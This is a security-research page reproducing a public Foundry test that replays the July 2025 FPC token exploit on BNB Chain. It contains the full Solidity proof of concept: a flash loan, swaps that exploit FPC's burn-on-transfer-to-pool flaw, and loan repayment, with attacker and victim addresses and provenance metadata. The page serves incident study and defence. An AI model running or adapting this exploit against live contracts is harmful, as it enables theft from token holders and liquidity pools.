Public reproduction file
src/test/2025-07/FPC_exp.sol
Public reproduction file for dataset entry FPC.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 4.7M USDT8// Attacker : https://bscscan.com/address/0x18dd258631b23777c101440380bf053c79db3d9d9// Attack Contract : https://bscscan.com/address/0xbf6e706d505e81ad1f73bbc0babfe2b414ba3eb310// Vulnerable Contract : https://bscscan.com/address/0xb192d4a737430aa61cea4ce9bfb6432f7d42592f11// Attack Tx : https://bscscan.com/tx/0x3a9dd216fb6314c013fa8c4f85bfbbe0ed0a73209f54c57c1aab02ba989f593713// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0xb192d4a737430aa61cea4ce9bfb6432f7d42592f#code16// @Analysis17// Post-mortem : N/A18// Twitter Guy : https://x.com/TenArmorAlert/status/194042339388024432719// Hacking God : N/A20pragma solidity ^0.8.0;22address constant USDT_ADDR = 0x55d398326f99059fF775485246999027B3197955;23address constant PANCAKE_POOL = 0x92b7807bF19b7DDdf89b706143896d05228f3121;24address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;25address constant PANCAKE_PAIR = 0xa1e08E10Eb09857A8C6F2Ef6CCA297c1a081eD6B;26address constant FPC_ADDR = 0xB192D4A737430AA61CEA4Ce9bFb6432f7D42592F;28contract FPC is BaseTestWithBalanceLog {29 uint256 blocknumToForkFrom = 52624701 - 1;31 function setUp() public {32 vm.createSelectFork("bsc", blocknumToForkFrom);33 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit34 fundingToken = USDT_ADDR;35 }37 function testExploit() public balanceLog {38 // Step 1: borrow 23,020,000 USDT from Pancake Pool39 IPancakeV3Pool(PANCAKE_POOL).flash(address(this), 23_020_000 ether, 0, "");40 }42 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {43 uint256 amountIn = 23_019_990 ether;44 address[] memory path = new address[](2);45 path[0] = USDT_ADDR;46 path[1] = FPC_ADDR;47 IPancakeRouter router = IPancakeRouter(payable(PANCAKE_ROUTER));48 uint256[] memory amounts = router.getAmountsOut(amountIn, path);49 // Step 2: USDT -> FPC50 IPancakePair(PANCAKE_PAIR).swap(1 ether, amounts[1], address(this), hex"00");52 IERC20 fpc = IERC20(FPC_ADDR);53 // Step 4: create a helper contract to convert 247,441 FPC to USDT54 Helper helper = new Helper();55 fpc.transfer(address(helper), 247_441_170_766_403_071_054_109);56 helper.swap(PANCAKE_ROUTER, FPC_ADDR);58 // Step 6: pay back the loan59 IERC20(USDT_ADDR).transfer(PANCAKE_POOL, 23_020_000 ether + fee0);60 }62 // Step 3: transfer USDT to CAKE LP63 function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) public {64 IERC20 usdt = IERC20(USDT_ADDR);65 usdt.transfer(PANCAKE_PAIR, usdt.balanceOf(address(this)));66 }67}69contract Helper {70 function swap(address routerAddr, address fpcAddr) public {71 IERC20 fpc = IERC20(fpcAddr);72 fpc.approve(routerAddr, type(uint256).max);74 uint256 balance = fpc.balanceOf(address(this));75 address[] memory path = new address[](2);76 path[0] = FPC_ADDR;77 path[1] = USDT_ADDR;78 // Root cause: FPC burns tokens on transfers to the pool.79 // Impact: attacker can sell FPC at an inflated price.80 // Step 5: FPC -> USDT81 IPancakeRouter(payable(routerAddr)).swapExactTokensForTokensSupportingFeeOnTransferTokens(balance, 0, path, msg.sender, block.timestamp);82 }83}Analysis
Dataset entry
Public Foundry test for “FPC” (2025-07-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.solSame month in the dataset · 200 lines
- src/test/2025-07/ActivePoolUrgentRedemption_exp.solSame month in the dataset · 194 lines
- src/test/2025-07/AnyswapWETHPermit_exp.solSame month in the dataset · 127 lines
- src/test/2025-07/AvaxBIFKNPair_exp.solSame month in the dataset · 213 lines
- src/test/2025-07/BoJLeverageMarket_exp.solSame month in the dataset · 193 lines
- src/test/2025-07/EmptySetReserve_exp.solSame month in the dataset · 196 lines
- src/test/2025-07/gmx_exp.solSame month in the dataset · 427 lines
- src/test/2025-07/MulticallWithETH_exp.solSame month in the dataset · 52 lines
- src/test/2025-07/RANTToken_exp.solSame month in the dataset · 108 lines
- src/test/2025-07/Stepp2p_exp.solSame month in the dataset · 59 lines
- src/test/2025-07/StrategyLlamaLendConvex_exp.solSame month in the dataset · 104 lines
- src/test/2025-07/SuperRare_exp.solSame month in the dataset · 80 lines
- src/test/2025-07/SWAPPStaking_exp.solSame month in the dataset · 197 lines
- src/test/2025-07/unverified_8fd3_exp.solSame month in the dataset · 105 lines
- src/test/2025-07/unverified_54cd_exp.solSame month in the dataset · 77 lines
- src/test/2025-07/Unverified670471_exp.solSame month in the dataset · 160 lines
- src/test/2025-07/Unverified6883_exp.solSame month in the dataset · 224 lines
- src/test/2025-07/UPENGBurnSync_exp.solSame month in the dataset · 115 lines
- src/test/2025-07/VDS_exp.solSame month in the dataset · 82 lines
- src/test/2025-07/WETC_Token_exp.solSame month in the dataset · 78 lines
- src/test/2025-07/WhereIsMyDragonTreasure_exp.solSame month in the dataset · 137 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x18dd258631b23777c101440380bf053c79db3d9d
- Attack Contract
0xbf6e706d505e81ad1f73bbc0babfe2b414ba3eb3
- Vulnerable Contract
0xb192d4a737430aa61cea4ce9bfb6432f7d42592f
- Attack Tx
0x3a9dd216fb6314c013fa8c4f85bfbbe0ed0a73209f54c57c1aab02ba989f5937
- Twitter: https://x.com/TenArmorAlert/status/1940423393880244327
- Explorer: https://bscscan.com/address/0x18dd258631b23777c101440380bf053c79db3d9d
- Explorer: https://bscscan.com/address/0xbf6e706d505e81ad1f73bbc0babfe2b414ba3eb3
- Explorer: https://bscscan.com/address/0xb192d4a737430aa61cea4ce9bfb6432f7d42592f
- Explorer: https://bscscan.com/address/0xb192d4a737430aa61cea4ce9bfb6432f7d42592f#code
File record
- Name
- FPC
- Path
- src/test/2025-07/FPC_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4cf0ff3aaa61c6218271d926906f56c7d3987aa9
- Language
- Solidity
- Size
- 83 lines
- Date
- 2025-07-02
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-07/FPC_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4cf0ff3aaa61c6218271d926906f56c7d3987aa9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.